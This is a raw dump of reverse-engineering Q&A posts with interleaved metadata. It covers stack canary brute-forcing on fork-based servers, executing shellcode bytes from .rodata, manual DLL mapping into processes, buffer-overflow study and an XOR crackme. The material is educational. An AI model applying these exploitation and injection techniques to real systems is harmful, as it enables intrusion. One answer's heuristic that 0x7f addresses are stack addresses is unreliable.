+ + + +I've uploaded the relevant JavaScript code responsible for such requests here.
+ +I'm not very proficient with WebSockets and seeing how I've been stuck here for the past few hours I thought maybe someone here could be able to spot what I'm missing.
+",27153,,27153,,1/19/2019 18:37,1/19/2019 18:37,"WebSocket debugging in Javascript app gives ""401 Unauthorized""",When I looking on Ida with static analyze I see that buffer pass to function/ function fill data in buffer.
+ +How can I know if this buffer allocate in stack/ heap?
+",23993,,23993,,1/19/2019 19:57,3/22/2019 1:00,How to identify if buffer allocate on stack or heap?,Ok, I figured it out. The websocket-client library I use for python writes its own Origin header by default and I was ending up with two Origin headers, which may have been tipping off the server.
+ +I found out you can disable it by adding supress_origin=True
when calling connect on the WebSocket.
It simply means that the location of the module is inside a “system” directory (c:\windows). For example kernel32.dll is a system module and your debuggee is usually a user module.
+",2221,,,,,1/19/2019 18:43,,,,0,,,,CC BY-SA 4.0 +20421,2,,20418,1/19/2019 18:49,,1,,"If it's address is above or equal to the stack pointer (esp/rsp), it's on the stack
+otherwise, it's on the heap or was on a previous stack-frame (and now is out of scope and should not be used)
If you want to know but just looking at the address: if the address starts with 0x7f
, it's on the stack.
+That might not always be right though, a program can control the value of the stack pointer and can decide to change it (not likely but feasible)
So I have an installed application on my Android phone and it stores some data in an password protected SQLite database in the /data/data//databases/ folder. I used adb shell to move the database to my PC and unlocked it, modified some data and then moved it back to it's original location. However, when I run the application it keeps crashing and throw SQLiteExceptions ""Couldn't open database"".
+ +If I remove the modified database and restart the application everything works fine and a new, empty database is created, as expected. But if I move that database to another location and then move it back the application crashes and give the same exceptions again, even though the database isn't modified.
+ +Why can't I move around the database without making the application unable to read it? I would really appreciate some help here!
+",27157,,27157,,1/22/2019 18:41,2/16/2020 22:01,Android application can't open pasted SQLite database,I am trying to decompile a dylib called libConfigurer64.dylib, which is loaded from the environment variable ""DYLD_INSERT_LIBRARIES""
+ +I want to analyze what it really does, so I dragged it in to IDA, and found that it exported ""_sub_06adf"",""_sub_06bdf"",""InitFunc_0""
+ +In _sub_06adf:
+ +db 'VfhT2zwxQpLeHRL6j4Oe4mrsmrjEAW',0
+align 10h
+
+
+In _sub_06bdf
+ +db '(c) 2014 - Cryptic Apps SARL - Disassembling not allowed.',0
+db 0
+db 0
+db 0
+db 0
+
+
+They aren't correct asm code! And I have no clue what tool obfuscated this file.
+And I'm also curious about how can this dylib overwrite exisiting functions?
Note: I've read https://alexomara.com/blog/a-silly-anti-disassembly-trick/, however this dylib isn't that trick, but is really obfuscated XD
+",27148,,27148,,1/20/2019 13:22,9/23/2019 23:06,How to decompile a obfuscated mach-o dylib?,I have those opcodes on 64 bits:
+ +48 8D 35 45 CE FF FF >>> lea rsi, [rip - 0x31bb].
+
+
+How can I get the 0x31bb value from those opcodes and how can I know if I have a +
sign or a -
sign beetween operands ( rip - 0x31bb
or rip + 0x31bb
) ?
You can get that value from the last 4 bytes of the opcode.
+ +45 CE FF FF
+
+
+You need to reverse the order of bytes and the the value is written as 2's complement. Since the highest bit is 1 it will be negative.
+ +(0xFFFFCE45) in 2's = -0x31BB
+
+",18014,,,,,1/20/2019 14:15,,,,0,,,,CC BY-SA 4.0
+20426,1,20427,,1/20/2019 17:35,,3,131,"I can't understand the meaning of ascii-art color bars.
+what is the meaning of the #
charaters?
[0x08000210]> iS=
+00 0x08000000 |---------------------------------| 0x08000000 0 ---
+01 0x08000200 |--------------------#------------| 0x0800020d 13 rw- .data
+02* 0x08000210 |---------------------##----------| 0x08000237 39 r-x .text
+03 0x08000240 |-----------------------###-------| 0x08000272 50 --- .shstrtab
+04 0x08000280 |-------------------------#######-| 0x08000310 144 --- .symtab
+05 0x08000310 |-------------------------------##| 0x0800032a 26 --- .strtab
+06 0x08000330 |--------------------------------#| 0x08000348 24 --- .rela.text
+07 0x08000000 |###------------------------------| 0x08000040 64 rw- ehdr
+=> 0x08000210 |---------------------------------| 0x0800020f
+
+",24392,,,,,1/20/2019 18:56,radare2 how to interpret ascii-art color bars?,This chart describes the different Sections and Memory Segments in your binary.
+ +Each row in the chart is a different section where its name is in the rightest column. From the left, you can see its start address, from the right you can see its end-address and next to it you can see the sections' size (decimal). That means, Start-Address + Size = End-Address
.
The ASCII bar itself is an imaginary range of addresses and the hash sign #
will mark where on this range the section appears. In your example, the chart begins at 0x08000000
which is the lowest address and ends at 0x08000348
which is the highest. The .symtab
is the biggest section in your example since it in size of 144. This is why it has the biggest amount of #
characters.
I want to build a ""force feedback chair"" for Need for Speed: Payback, so I thought about hooking the function responsible for the controller vibration and sending the motor speed parameter to a motor over Serial (to an arduino). +I successfully hooked the XInputSetState function (responsible for Controller Vibration) and sent the parameters over usb, and everything worked fine. +The problem is, I want to play the game with a Wheel (Logitech g29). +The ""XInputSetState"" function still gets called, but the motor speed parameter is always 0 (makes sense, if you have two controllers connected to your pc, only the one you're driving with vibrates not the other one). +My Wheel also has no Vibration feedback (so no function that i can hook there).
+ +So my thought was, that if you for example drive against a wall, the game checks if a Controller is connected, and if it's the case, calls the XInputSetState function with the correct motor speed parameter (so the Controller vibrates).
+ +For now I tried setting a breakpoint on XInputSetState and moving up the Callstack, to see what function still gets called with the correct motor speed parameter (even if no Controller is present), but my knowledge with reveersing is still very limited so no luck there.
+ +So how would you go about looking for such a function? +Any tips and hints are welcome.
+",27172,,,,,1/21/2019 3:14,"Finding ""controller vibration"" function in game",I think your approach of looking up the callstack is generally sound, but might be too time consuming.
+ +As you have no doubt experienced, without debugging information it can be challenging even to piece together what the different frames are, before trying to determine if any of those functions are relevant.
+ +The crucial function deciding whether to call the vibration logic based on the controller type might not even be on the stack if the system is built around an asynchronous event loop.
+ +My suggestion would be to look into the DirectInput APIs to figure out what functions the game would call to query information about the controller. This is likely necessary for the game to decide whether it should run the vibration logic or not.
+ +Keep in mind that the game is likely querying the controller info very early (either at launch or just before entering the game from the menu), and then storing the necessary information somewhere in its memory. If you can find that, you might be able to find where in the callstack leading up to XInputSetState that memory location is being checked.
+",27175,,,,,1/21/2019 3:14,,,,0,,,,CC BY-SA 4.0 +20431,1,,,1/21/2019 10:06,,2,1262,"I am reading brute-forcing stack canary. But I am confused why the server can be brute-forced one byte at a time on a crashable-server and what does mean this fork-and-accept ?
+",27178,,53,,1/21/2019 10:18,1/21/2019 10:18,Why stack canary can be brute-force one byte at a time?,A common mistake, while programming a server, is to use a fork()
to start it and respawn it when it crashes.
The problem with a fork()
is that is uses a copy of the memory to start over. Of course, using a copy means that the respawned server will be stuck with the exact same canaries even if it has been crashed and respawn. Somehow, it's memory layout and it's canaries are frozen until it is really re-run from the executable file.
The good way to program a server would be to systematically use an execve()
in place of the fork()
. This ensure that the memory start from scratch an re-initialize all the memory settings (ASLR, canaries, and so on).
But, indeed, most of the servers in the wild are using an execve()
, we can only find fork()
on old implementations or on educational security challenges.
In gdb i can backtrace with core file and executable file.
+It seems radare2 can read core file. like this
$ r2 core
+Setting up coredump: asm.arch <-> x86 and asm.bits <-> 64
+Setting up coredump: Registers have been set
+Setting up coredump: 22 maps have been found and created
+[0x00000000]>
+
+
+but after that i don't know what to do next?
+I can't find any documentation about using core file in radare2.
I need some help and advice here. +I am privately learning on how to reverse engineer +our teachers custom file archive +file that have other files stored inside of them. +for school project.
+ +But, I am kinda lost on where I need to start with the file. +What do I look for in the file after loading it into ida-pro +To, be able to create my own self extracting Tool for my project.
+ +The File format is .crackme that has been compressed with files inside of it +from our teacher at school but when I double click on the file it says the file is ""archive either unknown format or damaged"".
+ +So, yeah the file extension he gave us is not any known on the web +he created his own extension for us to crack it and make an extractor tool +to get all the data from the archive his extension name is "".crackme"" +so yeah.
+ +Any Advice, here any help to is much appreciated by me.
+",27184,,2147,,1/22/2019 11:28,1/22/2019 11:32,Extracting the contents of an unknown archive file format,It's more regular programming question than RE. Core dump file is a state of the process when the file was created (usually due to a crash) so debugger commands are the most suitable in such case. In Radare2 those are the ones from d?
category.
Usage: d # Debug commands
+| db[?] Breakpoints commands
+| dbt[?] Display backtrace based on dbg.btdepth and dbg.btalgo
+| dc[?] Continue execution
+| dd[?] File descriptors (!fd in r1)
+| de[-sc] [perm] [rm] [e] Debug with ESIL (see de?)
+| dg <file> Generate a core-file (WIP)
+| dH [handler] Transplant process to a new handler
+| di[?] Show debugger backend information (See dh)
+| dk[?] List, send, get, set, signal handlers of child
+| dL[?] List or set debugger handler
+| dm[?] Show memory maps
+| do[?] Open process (reload, alias for 'oo')
+| doo[args] Reopen in debugger mode with args (alias for 'ood')
+| dp[?] List, attach to process or thread id
+| dr[?] Cpu registers
+| ds[?] Step, over, source line
+| dt[?] Display instruction traces (dtr=reset)
+| dw <pid> Block prompt until pid dies
+| dx[?] Inject and run code on target process (See gs)
+
+
+You can get values of registers when coredump was created by issuing dr
command or show the backtrace by one of the dbt
.
++ +but after that i don't know what to do next?
+
What are the next steps are really dependent on your case - what you want to obtain from this dump.
+ +++ +I can't find any documentation about using core file in radare2.
+
Probably this is not the most used function in r2 ;)
+",18014,,,,,1/21/2019 21:37,,,,0,,,,CC BY-SA 4.0 +20438,2,,20436,1/22/2019 5:49,,0,,"Many archive formats contain headers. gzip headers for instance begin with 1f 8b
. Use a hex-editor to check for known magic numbers in the header first.
I hope you'll find your experience in RE.SE enjoyable and educating :) +Reverse engineering is often studied as a hobby, so you're in good company!
+ +IDA pro is a disassembler, which is focused on reverse engineering / reading assembly/machine code. that is - the code actually executed by the CPU. Since it appears you were only given a format file, without any executable code to manipulate / process the file, IDA will prove less useful.
+ +Instead, the only tool you should require for such a task, assuming the format is indeed proprietary, is a hex-editor / reader. 010 Editor is a great one, and it has a trial version.
+ +To eliminate the possibility of a known format, try running a couple file identification tools such as the linux file
command, TrID, binwalk, etc. These will try to identify common file formats (binwalk is specifically focused on archive formats), which if provide any insights should point you in the right direction.
To reverse engineer a file format solely based on a single file content, you'll need to map out the the file's apparent structure and you don't have a lot to go with. Excluding textual and very simply file formats, this should be kinda difficult without any additional resources (more files, a program that handles the format in any way, etc).
+ +Here's a list of pointers/tips, although you'll probably find more information available online:
+ +00 05 00 00 00 01 BE F1 CA D7
it is easy to notice the members are a word (2 bytes), a dword (4 bytes) and another dword. It is also likely that the first two are integers while the third is either a magic value or a CRC.Sorry if this is a duplicate and please point me in the right direction if so. I have a strong foundation in C programming and I know how memory is allocated on the stack for variables/arrays/pointers (of all datatypes) etc. I also understand how to use malloc and free to put data on the heap. What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to. I am trying to learn this before I start messing with GDB so I actually know what I am looking at. Any good references out there?
+ +Ultimately this is so I can do a project for my masters where I need to run shellcode by exploiting a buffer overflow vulnerability in a given program. I know how to do a basic buffer overflow by feeding the program more data than allocated but I don't know what/how much data I need to feed the program so that it gets put at the right place in memory in order to execute what is required.
+",4466,,,,,1/22/2019 23:18,What is a good resource to learn about how the call stack works while programming in C?,I managed to solve it and I will write it here so that it hopefully can help someone more facing the same issue. +A more detailed description of the problem: +On my rooted Galaxy S5 I had an application installed which had a encrypted SQLite database in the /data/data//database/ folder. If I moved the database outside of the /data/ and then pasted it back into it's original location the app would crash instantly on start up, and I still don't know why (I didn't change anything in the file itself and i restored the original file permissions and ownerships since they had automatically(?) been altered during the move) but the app would still crash.
+ +The solution (and I don't really know why it works) would be to use the dd command to make a copy of the database, use adb to pull that copy to my PC, edit it with DB Browser for SQLite and then push that manipulated copy back into /data/data//database and lastly use dd to copy the content of the manipulated database into the original database.
+ +Step by step:
+ +dd if=database of=database_copy
+adb pull /data/data/<package-name>/database/database_copy
+[Edit and then save the database_copy]
+adb push database_copy /data/data/<package-name>/database/
+dd if=database_copy of=database
+
+
+Thats it! The app starts fine this time and reads the database with my own values!
+",27157,,,,,1/22/2019 18:41,,,,1,,,,CC BY-SA 4.0 +20444,2,,20441,1/22/2019 23:18,,1,,"++ +What I do NOT understand is how all the registers and the call stack fit together with this picture and what each registers is supposed to point to.
+
It's great that you are competent in C, but there is no way around reading disassembled object code and writing assembly code (practical experience).
+ +The compiler toolchain is responsible for generating object code that targets a particular CPU. This means that it is the compiler that is responsible for managing all of the registers based on details such as process layout in memory (which is OS-specific), calling convention, optimization level, application binary interface (also OS-specific), etc.
+ +You did not give any information about the environment you are working in aside from mentioning GDB, so I am guessing you are going to be doing Linux x86 binary exploitation.
+ +A good theoretical foundation for understanding the stack is provided by Chapter 8 ""Subroutines and Control Abstraction"" in Programming Language Pragmatics by Michael L. Scott.
A good practical introduction to Linux x86 stack structure and management is provided in section 3.7 ""Procedures"" in Computer Systems: A Programmer's Perspective by Bryant and O'Hallaron.
Lastly, there is the following Q&A regarding the stack over at the CS.SE site:
+ +How are variables stored in and retrieved from the program stack? +
+",18317,,,,,1/22/2019 23:18,,,,7,,,,CC BY-SA 4.0 +20447,1,,,1/23/2019 8:06,,0,601,"I want to debug a Linux program (ELF), but my IDA Pro is on a Windows 10 VM and I want to use remote debugging to debug the program on Ubuntu (also in a VM).
+ +So, is it possible to debug if both machines are VMs?
+",27201,,245,,1/23/2019 19:47,1/25/2019 15:03,Remote debugger for Linux from one VM (IDA) to another (running the debuggee),I'm relatively new to reverse engineering, and I've decided to practise using the challenges from pwnable.tw. Currently, I am working on the ""Silver Bullet"" challenge.
+ +While testing, I have noticed that if the program is run and the user selects option 4, then the program crashes with a segfault instead of exiting cleanly. Testing in GDB confirms that this happens during the ""call exit"" instruction at 0x08048954.
+ +Reading the manpage for exit, I can see that undefined behaviour can occur in certain circumstances when functions are registered with atexit(3) or on_exit(3). However, I can't see any functions being registered in this way, and I can't see any other way which exit would fail to execute successfully. Why is a segfault happening during the exit call?
+ +For reference, the surrounding code is:
+ +0x080489F1:
+push offset aDonTGiveUp ; ""Don't give up !""
+call puts
+add esp, 4
+push 0
+call exit
+push offset aInvalidChoice ; ""Invalid choice""
+call puts
+add esp, 4
+nop
+
+
+Thank you for taking the time to read this.
+",27205,,,,,1/23/2019 11:32,How can a segfault happen during the libc exit call on Linux?,I had recently this situation where in a program I was debugging I found:
+ +03CD38D4: 8B15 8C5FF703 MOV EDX, DWORD PTR DS:[3F75F8C]
+
+
+If I look for these bytes in the physical file I found nothing. I assumed this is because the reference to 3F75F8C
, which might change over each instance of the program, is being randomised by Windows. So I could not change the value directly in an hexed - say change 3F75F8C
to 3F75F88
(I suppose I can do it with some math involving the base
, though).
NOP
the whole instruction? (I am asking because I do not know if there is some sort of predefined index table, I only know there is a flag in the PE to mark ASLR)EDIT
+ +As per the answer, what I undestood is that Windows will look into the .reloc
section and will change one by one the references pointed in the section based on the random base. Then, if I modify the bytes of the instruction, since they have been defined in the .reloc
section, my new bytes will be modified (probably I am wrong, but this is what I understood)
However, I am not able to find out how Windows ""obtains"" the instruction:
+ +03CD38D4: 8B15 8C5FF703 MOV EDX, DWORD PTR DS:[3F75F8C]
+
+
+Which is in file offset 482CD4
stored as:
MOV EDX, DWORD PTR DS:[B25F8C]
+
+
+The image base is 400000
and base of code 1000
.
I cannot find anything in the .reloc
section that points to 03CD38D4
,482CD4
or similar.
0x0000000008001946: mov 0xa8(%rdx),%rax
+ 0x000000000800194d: lea 0x28(%rdx),%rsi
+ 0x0000000008001951: lea 0x2(%rax),%rdi
+ 0x0000000008001955: add $0xe,%rax
+ 0x0000000008001959: mov %rax,0xa8(%rdx)
+ 0x0000000008001960: jmpq 0x8001ee0
+
+
+Above is the full disassembly of a signal handler which is customarily set by the program which I'm looking into, i.e., the program registers the signal handler and immediately invokes it by raising a SIGILL
using the opcode ud2
.
The signal handler is registered here:
+ + 0x8001965: push %rbx
+ 0x8001966: xor %eax,%eax
+ 0x8001968: mov $0x26,%ecx
+ 0x800196d: sub $0xa0,%rsp
+ 0x8001974: lea 0x8(%rsp),%rdi
+ 0x8001979: rep stos %eax,%es:(%rdi)
+ 0x800197b: lea -0x3c(%rip),%rax # 0x8001946
+ 0x8001982: lea 0x10(%rsp),%rdi
+ 0x8001987: movl $0x8000004,0x90(%rsp)
+ 0x8001992: mov %rax,0x8(%rsp)
+ 0x8001997: callq 0x8000f60 <sigfillset@plt>
+ 0x800199c: xor %edx,%edx
+ 0x800199e: test %eax,%eax
+ 0x80019a0: jne 0x80019bb
+ 0x80019a2: lea 0x8(%rsp),%rbx
+ 0x80019a7: xor %edx,%edx
+ 0x80019a9: mov $0x4,%edi
+ 0x80019ae: mov %rbx,%rsi
+ 0x80019b1: callq 0x8000f90 <sigaction@plt>
+
+
+Where 0x8001946
is the address of the handler, as disassembled prior to that in the first code-block.
My question is regarding the first instruction of the signal handler which appears to make no sense at all, and I can't debug it since I can't put a breakpoint on it:
+ +0x0000000008001946: mov 0xa8(%rdx),%rax
+
+
+%rdx
is defined by the ABI as the third parameter passed to a function, and as defined by sigaction
the third argument of sa_sigaction
is a void *
(a casted ucontext_t
structure) but there is no 0xa8
th index into the definition of a struct ucontext_t
, which leads me to believe it's something else.
I thought it might be an %rdx
set before the ud2
instruction is called:
0x0000000008000fde: test %al,%al
+ 0x0000000008000fe0: mov $0x2,%edx
+ 0x0000000008000fe5: je 0x8001028
+ 0x0000000008000fe7: movslq %ebx,%rdi
+ 0x0000000008000fea: mov %rbp,%rsi
+ 0x0000000008000fed: callq 0x8001190
+
+
+But prior to the call to 0x80001190
(the bug), %rdx
only contains $0x2
. So I'm even more confused.
Could anyone shed some light on what %rdx
could contain at 0x8001946
after a SIGILL
is raised, and the signal is passed off to the custom handler defined at that address?
ASLR does not peer inside executable
+it is a system wide exploit mitigation technique
+basically and simply put it assigns a random base address on every load of every executable
that is if you run say calc.exe five times you may see calc.exe load at five different addresses
+ +C:\>cdb -c ""lm m calc;q"" calc | grep ""calc.*deferred
+00dd0000 00e90000 calc (deferred)
+
+C:\>cdb -c ""lm m calc;q"" calc | grep ""calc.*deferred
+00250000 00310000 calc (deferred)
+
+C:\>cdb -c ""lm m calc;q"" calc | grep ""calc.*deferred
+00370000 00430000 calc (deferred)
+
+C:\>cdb -c ""lm m calc;q"" calc | grep ""calc.*deferred
+00860000 00920000 calc (deferred)
+
+C:\>cdb -c ""lm m calc;q"" calc | grep ""calc.*deferred
+00110000 001d0000 calc (deferred)
+
+
+the information to fix-up lies within your executable under .reloc section
+ +the loader when it loads an executable takes the base address assigned to the load and performs fix-ups based on the details provided in the .reloc section of an executable
+ +you can look at fix-ups using dumpbin and other innumerable pe editors
+ +C:\>dumpbin /relocations c:\Windows\System32\calc.exe | wc -l
+7346
+
+C:\>dumpbin /relocations c:\Windows\System32\calc.exe | head -n 20
+Microsoft (R) COFF/PE Dumper Version 14.15.26726.0
+Copyright (C) Microsoft Corporation. All rights reserved.
+
+
+Dump of file c:\Windows\System32\calc.exe
+
+File Type: EXECUTABLE IMAGE
+
+BASE RELOCATIONS #4
+ 1000 RVA, B4 SizeOfBlock
+ 641 HIGHLOW 01054064 ___security_cookie
+ 652 HIGHLOW 01001194 __imp__GetModuleHandleW@4
+ 6A5 HIGHLOW 010013F4 __imp__LoadStringW@16
+ 6B3 HIGHLOW 010540AC ?calcSQM@@3PAVCCalculatorSQM@@A (class CCalculatorSQM * calcSQM)
+ 6BD HIGHLOW 01054A70 _Microsoft_Windows_CalculatorHandle
+ 6C2 HIGHLOW 010551F8 _Microsoft_Windows_Calculator_Context
+ 6C7 HIGHLOW 010321A3 _McGenControlCallbackV2@36
+ 6CC HIGHLOW 01001D5C _Microsoft_Windows_Calculator
+ 6D7 HIGHLOW 0105521C
+ 707 HIGHLOW 01001EDE ?WndProc@@YGJPAUHWND__@@IIJ@Z (long __stdcall WndProc(struct HWND__ *,unsigned in
+t,unsigned int,long))
+
+C:\>
+
+
+RVA is relative virtual address related to base address
+ +so if base address = 0x10000000 then absolute will be 0x10001000
+so the address that needs fixup is 0x10001641 in the dump above
you can find what the preferred base of address is from the headers
+most of the static analysis tools will load the pe in this address only
C:\>dumpbin /headers c:\Windows\System32\calc.exe | grep -i ""image base""
+ 1000000 image base (01000000 to 010BFFFF)
+
+
+you can dump the bytes at some specified position inside executable using any of the hexeditors (using the HIGHLOW of first entry in dump above 0x641) +you can see the bytes are a1 0x10054064
+ +using a40 instead of 1640 because the Base of code is 0x400 in physical file
+ +which will be mapped to 0x1000 (Virtual Address) in the process address space
+ +C:\>xxd -s 0xa40 -l 10 -g 5 c:\Windows\System32\calc.exe
+0000a40: a164400501 33c58945fc .d@..3..E.
+
+
+you can see the disassembly with (using virtual address here as this is a mapped layout not physical file )
+ +C:\>dumpbin /disasm /range:0x1001640,0x1001645 c:\Windows\System32\calc.exe
+
+ 01001640: A1 64 40 05 01 mov eax,dword ptr [___security_cookie]
+ 01001645: 33
+
+
+if you now load this in a ASLR enabled machine and look at the disassembly at the same virtual address you will see the 0x1000000 (preferred load address) +has been fixed up
+ +C:\>cdb -c ""? calc;u calc+1640 l1;q"" calc | grep -i -A 3 Reading
+0:000> cdb: Reading initial command '? calc;u calc+1640 l1;q'
+Evaluate expression: 5177344 = 004f0000
+calc!WinMain+0xb:
+004f1640 a164405400 mov eax,dword ptr [calc!__security_cookie (00544064)]
+
+C:\>python -c ""print ( \""%x\"" % (0x4f0000 + 0x54064) )""
+544064
+
+",3473,,18064,,1/24/2019 7:52,1/24/2019 7:52,,,,2,,,,CC BY-SA 4.0
+20455,1,20459,,1/24/2019 8:43,,2,230,"All right, Actually I am manually mapping a module into a process, actually my mapper calls DllEntryPoint
from standard struct IMAGE_NT_HEADERS
thus IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint
etc...
The problem: +consider following code:
+ +void Log(const char*, ...);
+
+
+class Test
+{
+ private:
+ struct List_t
+ {
+ const uint32_t x;
+ const uint32_t y;
+ } List;
+
+ public:
+ Test(List_t z) : List(z) { Log(""Called event 0! \n""); }
+ ~Test() {}
+};
+
+
+
+void Entry()
+{
+ Test Instance
+ (
+ {
+ 0x200,
+ 0x400
+ }
+ );
+
+ Log(""Called! \n"");
+}
+
+
+BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
+{
+
+ if(fdwReason == 1)
+ Entry();
+
+ return TRUE;
+}
+
+
+so if the module entry point gets called through IMAGE_NT_HEADERS::OptionalHeader::AddressOfEntryPoint
from mapper, the constructor Test()
never gets executed, while that Entry()
function gets executed successfully, now if the module it's loaded with standard LoadLibraryA();
so Test()
constructor gets called successfully...
Where i would find some information about this?
+ +I have heard something about CRT
initializers, but i can't find anything deeply...
It seems to be %rip
(the address of the ud2
):
#include <signal.h>
+#include <stdio.h>
+#include <ucontext.h>
+
+void handler(int signo, siginfo_t *info, void *context) {
+ ucontext_t *uc = (ucontext_t*)context;
+ printf(""%llx\n"", uc->uc_mcontext.gregs[REG_RIP]);
+}
+
+
+compiles to:
+ +handler(int, siginfo_t*, void*):
+ movq 168(%rdx), %rsi
+ movl $.L.str, %edi
+ xorl %eax, %eax
+ jmp printf
+.L.str:
+ .asciz ""%llx\n""
+
+
+(https://gcc.godbolt.org/z/RC064L)
+",12017,,,,,1/24/2019 9:07,,,,0,,,,CC BY-SA 4.0 +20457,1,,,1/24/2019 9:26,,3,735,"Why disassemble multi-thread binary is hard? I also know that some obfuscation techniques are to create unnecessary threads. But why reverse engineering multi-thread program is hard.
+",27179,,,,,1/24/2019 10:12,Why disassemble multi-thread binary is hard?,The technique you are referring to is called 'nanomites'. I would advise you the reading of this article as a full example of reverse of a nanomite crack-me.
+Never the less, the problem of multi-thread or multi-process reverse-engineering is that in place of one sequence of events (with only one program), you have to follow in parallel multiple programs that interact (possibly in a non-deterministic way) with each others. It raise up exponentially the complexity of the reverse-engineering process.
+In case of programs you'd also have to watch out for TLS callbacks. These run prior to the entry point, but I have only ever seen those on .exe files, never on DLLs. Still, Peter Ferrie stated that TLS callbacks exist for DLL files. I'd trust his expertise on this, even though I've never seen one of those myself, when reverse engineering a DLL.
+ +Anyway, DllMain
in your case has that fdwReason
parameter. That one is kind of important here and you should not have used a literal 1
there but the proper symbolic name: DLL_PROCESS_ATTACH
.
DLL_PROCESS_ATTACH
, DLL_PROCESS_DETACH
, DLL_THREAD_ATTACH
, DLL_THREAD_DETACH
are the currently defined values. A switch
statement would therefore be much more sensible here.
Depending on the reason for which you're being called back in DllMain
you can act.
Now while I don't know if that class is meant to be a singleton, it's clear that all that happens inside Entry()
is the creation and destruction of an instance of that class on the stack. Once the scope of that function is left, the instance will be destroyed. You should be able to verify this by adding something like a Log()
invocation to the dtor.
As for the CRT initializers, yes these exist. Kindly read this other answer by me before reading on.
+ +...
+ +Okay, assuming you read my answer, the difference between DllMain
as expected by the CRT when you build with the default CRT is that it already includes that CRT initialization code you likely mean. Whereas if you told the linker to use an alternative /entry
you would still use the same prototype for the DLL entry function, but you'd have to deal with initialization. Literally all the information you may need is in the above linked answer to that related question and inside the files mentioned in said answer.
How come the following code executes if buf* is @ rodata segment ?
+ +#include <stdio.h>
+
+char *buf[] = {
+""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
+\xc3 IS THIS DATA?""
+};
+char arr_chr[500] = ""I AM READ_WRITE"";
+
+int main(){
+ ((void (*)()) buf[0])();
+
+ printf(""%s\n"", buf[0]);
+ printf(""%s\n"", arr_chr);
+}
+
+
+compiled with gcc version 7.3.0
without flags @ x86_64-linux-gnu
file
's output:
check: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
+ + +",22071,,22071,,1/24/2019 11:35,1/24/2019 21:53,why code at .rodata executes,I'm trying to solve a crackme which basically uses a XOR encryption scheme in which the password is used as the key to an encrypted buffer which is subsequently executed. The following is the encrypted buffer:
+ +0x4F, 0x12, 0x85, 0x7C, 0x96, 0x2E, 0x29, 0x54, 0x45, 0x41, 0x15, 0x10,
+
+0xF1, 0x12, 0x87, 0x1C,
+0xF3, 0x27, 0x27, 0x46, 0x56, 0x2D, 0x54, 0x2D, 0x41, 0x5D, 0x23, 0x31, 0x49, 0x5C, 0x2F, 0x21,
+0x46, 0xF6, 0x92, 0x2E, 0x6D, 0x54, 0xBA, 0x90, 0x25, 0x23, 0x36, 0x21, 0x5C, 0x47, 0x21, 0x46,
+0x4F, 0x46, 0x16, 0x94, 0x98, 0x2D, 0x01, 0x4D, 0xDC, 0xE0, 0xE7, 0x5C, 0x76, 0xE7, 0xC6, 0x4E,
+0x46, 0x46, 0x2D, 0x3B, 0x83, 0xC1, 0x4F, 0x23, 0x31, 0x21, 0x29, 0xE9, 0xA1, 0x45, 0x4F, 0x46,
+0x46, 0x0D, 0x92, 0xC5, 0x45, 0x4D, 0x23, 0x31, 0x45, 0x9A, 0xAF, 0x24, 0x46, 0x4F, 0x46, 0x2F,
+0xEB, 0xD4, 0x43, 0x41, 0x4D, 0x23, 0x55, 0xE7, 0xDC, 0x28, 0x21, 0x46, 0x4F, 0x66, 0x80, 0xAD,
+0x5C, 0x45, 0x41, 0x4D, 0x4A, 0xF7, 0xA1, 0x55, 0x2F, 0x21, 0x46, 0x3B, 0x80, 0xC6, 0x27, 0x54,
+0x45, 0x41, 0x6C, 0xE5, 0xB1, 0x2A, 0x5C, 0x2F, 0x21, 0x46, 0x89, 0xC6, 0x56, 0x2D, 0x54, 0x45,
+0x09, 0x8B, 0xA3, 0x20, 0x21, 0x5C, 0x2F, 0x40, 0x80, 0xCF, 0x54, 0x46, 0x2D, 0x54, 0x31, 0x87,
+0xCD, 0x30, 0x31, 0x21, 0x5C, 0x5C, 0xE7, 0xC6, 0x5B, 0x46, 0x46, 0x2D, 0x74, 0x83, 0xC1, 0x58,
+0x23, 0x31, 0x21, 0x33, 0xE9, 0xA1, 0x50, 0x4F, 0x46, 0x46, 0x4B, 0x92, 0xC5, 0x56, 0x4D, 0x23,
+0x31, 0x47, 0x9A, 0xAF, 0x39, 0x46, 0x4F, 0x46, 0x66, 0xEB, 0xD4, 0x5C, 0x41, 0x4D, 0x23, 0x45,
+0xE7, 0xDC, 0x35, 0x21, 0x46, 0x4F, 0x29, 0x80, 0xAD, 0x4F, 0x45, 0x41, 0x4D, 0x03, 0xF7, 0xA1,
+0x40, 0x2F, 0x21, 0x46, 0x36, 0x80, 0xC6, 0x30, 0x54, 0x45, 0x41, 0x22, 0xE5, 0xB1, 0x3F, 0x5C,
+0x2F, 0x21, 0x33, 0x89, 0xC6, 0x59, 0x2D, 0x54, 0x45, 0x61, 0x8B, 0xA3, 0x11, 0x21, 0x5C, 0x2F,
+0x4C, 0x80, 0xCF, 0x67, 0x46, 0x2D, 0x54, 0x24, 0x87, 0xCD, 0x01, 0x31, 0x21, 0x5C, 0x5B, 0xE7,
+0xC6, 0x6C, 0x46, 0x46, 0x2D, 0x31, 0x83, 0xC1, 0x69, 0x23, 0x31, 0x21, 0x72, 0xE9, 0xA1, 0x63,
+0x4F, 0x46, 0x46, 0x0D, 0x92, 0xC5, 0x67, 0x4D, 0x23, 0x31, 0x71, 0x9A, 0xAF, 0x06, 0x46, 0x4F,
+0x46, 0x2A, 0xEB, 0xD4, 0x6D, 0x41, 0x4D, 0x23, 0x54, 0xE7, 0xDC, 0x06, 0x21, 0x46, 0x4F, 0x27,
